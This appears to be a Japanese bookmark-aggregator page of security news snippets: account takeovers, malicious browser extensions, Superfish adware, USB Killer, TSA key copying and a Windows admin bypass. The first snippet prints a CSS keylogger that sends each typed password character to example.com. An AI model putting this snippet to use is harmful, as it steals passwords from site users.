CSSだけでキーロガーを作る（※追記あり） - R42日記
github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[
LINE乗っ取られたのでその鮮やかなる手口を恥を忍んで公開しましょう - はてなブログを毎日書いていたら10Kg痩せました！
どうも、情弱です。 いやー、やられました。 先程見事にLINEを乗っ取られてしまいました。 今まではLINEで「今ひま？ちょっと手伝ってもらっていい？」というプリカをねだるメッセージが来る度に「情ｗｗｗ弱ｗｗｗ乙ｗｗｗ」と笑っていたのですが、今日からぼくもそちら側です、よろしくお願いいたします。 今回の件で、やはり一番怖いのは機械的なハッキングでなくて心の隙を突かれるソーシャル・エンジニアリングだなと実感しました。 騙されちゃったらもう説得力ありませんが、僕は昔からネットのエロサイトで鍛えた眼力があって、そうそうネットのフィッシングなどには引っかかったことが無いのですが、それでもちょっと気が緩めばネットでは死んでしまうというよい事例です。 めっちょ恥ずかしいですが、自分の恥が誰かを助けるかもということでここは一発状況を共有しておきましょう。 LINE詐欺はLINE以外のメッセージで来た 僕
HTTP Headers という 5万人が使っている Chrome 拡張のマルウェア疑惑。セッション盗まれて BTC も盗まれそうになった話。 - clock-up-blog
疑惑どころか 99.99% くらい黒な話。 （後記：セッション盗まれたと思ってたけど、よくよく考え直してみると生パスワードごと盗まれてる可能性もあるしやばい） 追記：続報 11月3日 今回指摘した HTTP Headers 以外にも、「Tab Manager」「Give Me CRX」「Live HTTP Headers」等で同様（？）の問題が報告されています。第三者が元の作者からソフトウェア権利を買い取って悪用する、というケースが割とある模様（？）。皆さま情報ありがとうございます。 11月4日 Zaif については、「不正な Chrome 拡張」と「スクリプトから保護されていなかったクッキー」のコンボによりセッションが盗まれていた可能性あり。 Zaif のセッション情報が盗まれた原因のひとつについて。JavaScript からクッキー値を取得させない方法。 - clock-up-blog
各種RFIDを4つコピーできるキーフォブ「Keysy」--入室カードなどをこれ1つに集約
オフィスの電子ロックを解除するための入室カードや、ロッカーの鍵、ホテルの客室の鍵などとして、RFIDカードがよく使われる。カードタイプでなく、キーフォブと呼ばれる、キーホルダーに付けておくRFID対応デバイスも存在する。 磁気カードと違って磁石に近づけても安心だし、リーダーに近づければ認証されるので使い勝手もよい。ただし、多種多様な形態のRFIDデバイスを複数持ち歩くのは煩わしいし、紛失や破損すると磁気カードより高い再発行手数料が発生してしまう。 そこで、各種RFIDをコピーできるアクセサリ「Keysy」を紹介しよう。現在クラウドファンディングサービス「Kickstarter」で支援募集中。
まさにプロの犯行!? Twitterの鍵アカを自在に開けさせる達人女子にその手口を聞いてきた
背景に合わせてこんばんは、ひにしです。本日は、とある達人との待ち合わせで渋谷に来ています。 ところで、この「トゥギャッチ」はTwitterの旬な話題をお届けしているメディアなわけで、その読者であるみなさんなら、1度はあるのではないでしょうか？ 「この鍵アカを覗き見してええええ！」 と思ったことが…！ ちなみに、鍵アカとは非公開Twitterアカウントのこと。フォロワーしかツイートを閲覧できないアカウントをこう呼びます。 今日は、合コンなどで知り合った男のTwitterアカウントの特定や、鍵アカを約8割の確率で開けさせてきた「鍵アカ解除の達人女子」がどんなテクニックを使っているのかを惜しみなく披露してくれるとのことなので、パリピの巣窟・渋谷までのこのこやってきたというわけです。 鍵アカ解除の達人はこんな女子！ こじあけさん（24歳） 都内在住の会社員。合コンなどで知り合った男性に“興味ありま
「偽Windows Update発動→アップデート失敗→偽公式サポートへ電話」のフルコンボで金銭を要求する巧妙な新型ランサムウェアに注意
Appleサポートを装って遠隔で画面を乗っ取る詐欺ページなど、有名企業の公式テクニカルサポートをかたる詐欺は増加傾向にあります。新たに発見されたのはPCの画面をロックして本物っぽいWindows Update画面を表示するというランサムウェアで、最終的にMicrosoftのテクニカルサポートをかたる電話番号にかけさせ、「アップデートに必要な料金」として金銭を支払わせる巧妙なやり口まで出現しています。 Tech Support Scammers Get Serious With Screen Lockers | Malwarebytes Labs https://blog.malwarebytes.org/cybercrime/social-engineering-cybercrime/2016/05/tech-support-scammers-get-serious-with-screen
USBポートに挿すと数秒でPCを起動不能にしてしまう「USB Killer」が実際にPCを破壊するムービーが公開
一般的なUSBメモリのような見た目で、PCのUSBポートに差し込むだけでPCを破壊してしまうデバイス「USB Killer」を実際に作動させて、わずか数秒でPCが起動不可能な状態に陥る恐るべきムービーが公開されています。 USB killer v2.0 / Хабрахабр http://habrahabr.ru/post/268421/ USB Killer http://kukuruku.co/hub/diy/usb-killer Dark Purple creates 'killer USB' to destroy laptops | Daily Mail Online http://www.dailymail.co.uk/sciencetech/article-2997401/The-killer-USB-FRIES-laptops-Malicious-drive-uses-hi
空港職員が使うTSAロックのマスターキーの写真から3Dプリンターで合鍵を出力して本当に解錠できることが発覚
by kurashikinote.jp スーツケースなどにはアメリカ合衆国国土安全保障省より認定を受けたTSAロックという特殊な錠がつけられていることが多いのですが、特に意識しないまま使っている人も多いはず。しかし、2015年8月に空港職員の持つTSAロックのマスターキーを撮影した写真が流出したことで、カギの形が割り出され、本当に解錠できるカギを3Dプリンターを使って誰でも5分で作れてしまうという事態が起こっています。 Lockpickers 3-D Print TSA Master Luggage Keys From Leaked Photos | WIRED http://www.wired.com/2015/09/lockpickers-3-d-print-tsa-luggage-keys-leaked-photos/ アメリカでは飛行機に搭乗する際、空港職員が荷物の目視検査を行うこ
Windows 10、ダウンロード済み更新プログラムを他のユーザーに送信する機能がデフォルトで有効に | スラド IT
Windows 10では企業ユーザー向けに、ダウンロード済みの更新プログラムをピアツーピアの仕組みを使ってほかのユーザーと共有する機能が搭載されると発表されていたが、7月29日に一般リリースされたWindows 10ではすべてのエディションに搭載されており、デフォルトで有効になっていることが明らかになった(Windows Update の配信の最適化に関する FAQ、 TNW Newsの記事、 The Regisiterの記事、 Neowinの記事)。 この機能は「Windows Updateの配信の最適化」と呼ばれており、Microsoftから取得した更新プログラムをインターネット上のPCやローカルネットワーク上のPCに送信するというもの。再送信はBitTorrentのような仕組みで、ダウンロードした更新プログラムをローカルキャッシュに短時間保存し、ファイルを細かく分割したものを他のユー
♫悲しき運命、、、、♫被害対策com（アダ被）は、一時代を築き上げた、知る人ぞ知るwebsiteだった。 - 諸般の事情... - Yahoo!知恵袋
♫ 悲しき運命、、、、 ♫ 被害対策com（アダ被）は、一時代を築き上げた、知る人ぞ知るweb siteだった。 ♫ 悲しき運命、、、、 ♫ 被害対策com（アダ被）は、一時代を築き上げた、知る人ぞ知るweb siteだった。 諸般の事情から現在はドメインが好ましくない人物の手に落ち、困ったことになっているようだ。 forum.higaitaisaku.com/viewtopic.php?t=495（不用意にアクセスしないこと） 偽のFlash Playerをインストールさせようと罠が仕掛けてある。 ＊ 当方windows7 firefox＋no scriptのため、アクセスしても偽Flash Player画面にはならない。 ＊ 無防備のIE１１でアクセスすると、見事に偽Flash Playerのインストール画面が表示された。 そこでIE11+McAfeeサイトアドバイザーでアクセスすると
SourceForge.net、GIMP for Winの管理権限を奪ってアドウェアを配布 | スラド IT
SourceForge.net（SF.net）にあったGIMP for WindowsのプロジェクトがSF.net運営者側にアカウントを乗っ取られ、配布物がアドウェア付きのインストーラーに置き換えられたという騒動が起きたようだ(Ars Technica)。 インストーラには「Norton anti-virus」および「myPCBackup.com remote backup」がバンドルされていたと報告されている。SF.net側は「18か月以上プロジェクトが放置されていたのでミラーに切り替えた」としているが、GIMP側はWindowsバイナリの配布用としてメンテをしていたと主張している。 こちらのツイートにあるように以前はGIMP側の人が管理者になっていたGIMP for Winのページが、sf-editor1というアカウントの管理下になっていることが分かる。アドウェア配布の前にそもそも管理
大昔に退会したはずの Facebook アカウントがレイバン的なのに乗っ取られた話 - おともだちティータイム
大昔に Facebook を一度退会して、別にアカウントを取得して再開していた shunirr の古い Facebook アカウントが乗っ取られてるよと連絡がくる 古い Facebook アカウントとかあったな～、そのころは LastPass とか使ってなくてパスワード使い回ししてたかも いやそもそも退会した記憶だけど…消えてなかったのかな…? ログイン情報完全に失念していたので、古いメアドを入力するなどしてアカウントをロックすることに成功 アカウント復活させたいなら政府発行の証明書を送ってこいよと Facebook にいわれる 住基カードの画像送り付けたらアカウント復活できた 復活できたので、さて退会するかと思って設定からセキュリティ→アカウントの利用解除を実行する あ～～～大昔にやったのこれか～～～。不要な Facebook アカウントを退会したつもりでも、全く退会できておらず、大昔に
人気ファイル圧縮・展開ソフト「Lhaplus」に脆弱性
情報処理推進機構(IPA)とJPCERTコーディネーションセンターは4月9日、ファイル圧縮・展開を行うフリーソフト「Lhaplus」に脆弱性があるとして最新版へのアップデートを呼びかけた。 確認された脆弱性は、展開するファイル名の処理に起因するディレクトリ・トラバーサルの脆弱性と、任意のコードを実行される脆弱性。 ディレクトリ・トラバーサルの脆弱性では、名前を細工されたファイルを展開することで、特定のファイルを作成されたり、既存のファイルを上書きされる恐れがある。もう一方の脆弱性も、細工されたファイルの展開で任意のコードを実行される恐れがある。 影響を受けるバージョンは1.59とそれ以前のバージョンで、現在、最新バージョンでは1.72が公開されている。
レノボ、ノートPCにアドウェア混入。銀行との通信にも割り込み、サイバー攻撃も - すまほん!!
中国大手PCメーカーLenovoのPCに、AdWareが混入していると海外で話題になっています。このような報告は2014年半ばからあり、そうした疑惑が現在、表面化している形です。 The Next Webによれば、「SuperFish」という名のAdWareが、Lenovoの個人消費者向けノートPCにインストールされているとのこと。このソフトの挙動は、ユーザーの許可なく、Google検索などのウェブサイト上にサードパーティの広告を表示するというもの。影響をあたえるWebブラウザーとしてInternet ExplorerおよびGoogle Chromeの名が挙がっています。 このソフトは電子証明書をインストールして、SSL含む全ての通信に、プロキシーで割り込むことができるとのこと。これにより「MITM攻撃（man-in-the-middle＝中間者攻撃）」と呼ばれるサイバー攻撃を仕掛けること
Windows 7の起動時に管理者権限を強制的に取得する裏技
Windows 7の起動画面で使っているパスワードを忘れてしまい、ログインできないという非常事態に出くわしたときに、管理者権限を取得した状態でコマンドプロンプトを立ち上げられる裏技を知っておけば、コマンド入力であっという間にパスワードを設定し直してログインすることが可能です。ということで、実際にうまくいくのか、管理者権限を強制的に取得する裏技を試してみました。なお、この裏技は手順を間違えるとPCが正常に起動しなくなる危険がある点には注意が必要です。 A tutorial on how to get into an admin account on ANY computer. - Imgur http://imgur.com/gallery/H8obU 電源ボタンを押してPCを起動させ、「Windowsを起動しています」と表示されている間に、PCの電源ボタンを長押しして強制的にPCをシャット
Google、古いAndroidのサポート終了か 9億台で脆弱性放置の恐れ
Rapid7の研究者によると、GoogleはAndroid 4.3（Jelly Bean）までのバージョンについて、WebViewの脆弱性修正パッチの提供を打ち切った。 世界でまだ9億台あまりの端末に搭載されている旧バージョンのAndroidについて、米Googleが脆弱性を修正するパッチの提供を打ち切っていたことが分かったという。脆弱性検証ツール「Metasploit」を手掛けるRapid7の研究者が1月12日のブログで伝えた。 それによると、Googleは最近まで、Android 4.3（Jelly Bean）の脆弱性について報告を受けると迅速に対応していた。ところが、このほど新たに4.4よりも前のバージョンのWebViewの脆弱性を報告したところ、Googleのインシデント対応担当者からメールで「もし影響を受けるのが4.4よりも前のバージョンであれば、我々は一般的に、自らパッチを開発
Boothの同人音楽ネットイベント「Apollo」で人のアカウントに意図せずログインできて人のクレカで買い物までできてしまっていたらしい件まとめ(1)
問題の概要 Pixivの主催する同人誌委託・通販・DL販売サイト「Booth」 https://booth.pm/ で 2014年11月28～30日限定の同人音楽専門ネットイベント「Apollo」 https://booth.pm/apollo/ が 開催されているまさにその最中の29日18時頃、 「気付いたら自分のアカウントじゃないアカウントにログインできている」 「アカウント情報見たら他人のだった」 「カートに入れてたものが消えた」 「カートに入れた覚えのないCDが入ってる」 「買った覚えのないCDのカード決済通知が来た」 「アカウント見たら知らない人のカード情報が見れてしまった」 などの不具合がtwitterでつぶやかれるようになり、 その後すぐにBoothもApolloもメンテに入りました。 pixiv(Booth)の対応 pixiv(Booth)のその後の発表では、 Apollo
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
話題の“vvvウイルス”、「日本で被害が急増した形跡は見当たらない」とトレンドマイクロ、とにかくパッチ適用など基本的なセキュリティ対策をしっかりと 
Windowsに新たなゼロデイ脆弱性、PowerPoint悪用の標的型攻撃も既に発生
Engadget | Technology News & Reviews
